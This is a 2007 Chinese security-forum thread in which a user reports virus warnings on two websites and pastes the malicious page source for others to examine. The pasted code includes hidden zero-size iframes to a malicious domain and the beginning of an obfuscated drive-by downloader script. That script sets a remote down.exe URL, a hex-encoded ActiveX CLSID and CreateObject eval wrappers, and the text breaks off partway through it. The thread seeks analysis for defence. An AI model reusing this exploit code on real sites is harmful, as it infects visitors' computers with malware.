新时代网页病毒防范软件--TW（请大家进来讨论）

网页, 软件, 时代, 讨论

今天打开下面这两个网站时，都提示有病毒：
http://blog.vckbase.com/Search.aspx?q=tlist
http://bbs.fhzw.net/

如下图的病毒1，弹出来后点阻止，3次后TW必挂！所以发上来这里让老大看看是怎么回事，附件是的RAR是病毒的文件！
但不一定就是上面这两个网站有病毒，可能是我的系统中了毒，造成这样的情况！

[ 本帖最后由 sbyguli 于 2007-7-15 21:40 编辑 ]

附件: 您需要登录才可以下载或查看附件。没有帐号？加入我们

lgxro

白银会员

Rank: 6 Rank: 6

UID: 8156
帖子: 393
精华: 0
贡献: 0
推广: 0
有效BUG: 0
注册时间: 2006-2-21

6^#

发表于 2007-7-15 22:44 | 只看该作者

一般下载是exe文件的99.9999%是有问题了，不过现在貌似也没啥人这样做了吧？

TOP

duckZCX

管理员

Rank: 20

UID: 22157
帖子: 10849
精华: 1
贡献: 31
推广: 1
有效BUG: 0
注册时间: 2006-10-5

5^#

发表于 2007-7-15 22:06 | 只看该作者

典型的网络木马啊，自动生成本地的木马主程序

这里是永远的家：）

TOP

sbyguli

黄金会员

Rank: 8 Rank: 8

UID: 7301
帖子: 693
精华: 0
贡献: 0
推广: 0
有效BUG: 0
注册时间: 2006-1-24

4^#

发表于 2007-7-15 21:49 | 只看该作者

以下是病毒的网页文件

arp.htm

<iframe src='http://878772.cn/arp.htm' width=0 height=0></iframe> <HTML>
<body style="CURSOR: url(wm/xjz2007.bmp)"></body>
<iframe width='100' height='100' src='vip.htm'></iframe>
<iframe width='100' height='100' src='wm/wm1.htm'></iframe>
<iframe width='100' height='100' src='wm/wm2.htm'></iframe>
<iframe width='100' height='100' src='wm/wm3.htm'></iframe>
//count1(tongji123)
<script language="javascript" src="http://ww4.tongji123.com/t1.aspx?id=43559969"></script>
//count2(51la)
<script language="javascript" type="text/javascript" sr c="ht tp://js.users.51.la/1023960.js"></script>

wm/wm1.htm部份：

         <ifr ame sr c='http://878772.cn/arp.htm' width=0 height=0></iframe>                                                                                              <script>
document.writeln("<script language=\"javaScript\">");
document.writeln("microsofts=\"http://www.878772.cn/down.exe\"");
document.writeln("microsofts1=\"microsofts.exe\"");
document.writeln("microsofts2=\"microsofts.vbs\"");
document.writeln("BianYuanZhe=\"[url=file://\\x42\\x44\\x39\\x36\\x43\\x35\\x35\\x36\\x2D\\x36\\x35\\x41\\x33\\x2D\\x31\\x31\\x44\\x30\\x2D\\x39\\x38\\x33\\x41\\x2D\\x30\\x30\\x43\\x30\\x34\\x46\\x43\\x32\\x39\\x45\\x33\\x36\]\\x42\\x44\\x39\\x36\\x43\\x35\\x35\\x36\\x2D\\x36\\x35\\x41\\x33\\x2D\\x31\\x31\\x44\\x30\\x2D\\x39\\x38\\x33\\x41\\x2D\\x30\\x30\\x43\\x30\\x34\\x46\\x43\\x32\\x39\\x45\\x33\\x36\[/url]"");
document.writeln("function Log(vip)");
document.writeln("{");
document.writeln(" var log=document.createElement(\'p\');");
document.writeln("    log.innerHTML=vip;");
document.writeln("}");
document.writeln("function CreateO(o,n)");
document.writeln("{");
document.writeln(" var r=null;");
document.writeln(" try");
document.writeln(" {");
document.writeln(" eval(\'r=o.CreateObject(n)\')");
document.writeln(" }");
document.writeln(" catch(e)");
document.writeln(" {}");
document.writeln(" if (!r)");
document.writeln(" {");
document.writeln(" try");
document.writeln("    {");
document.writeln("    eval(\'r=o.CreateObject(n,\"\")\')");
document.writeln("    }");
document.writeln(" catch(e)");
document.writeln("    {}");
document.writeln(" }");
document.writeln(" if(!r)");
document.writeln(" {");
document.writeln(" try");
document.writeln("    {");
document.writeln("    eval(\'r=o.CreateObject(n,\"\",\"\")\')");
document.writeln("    }");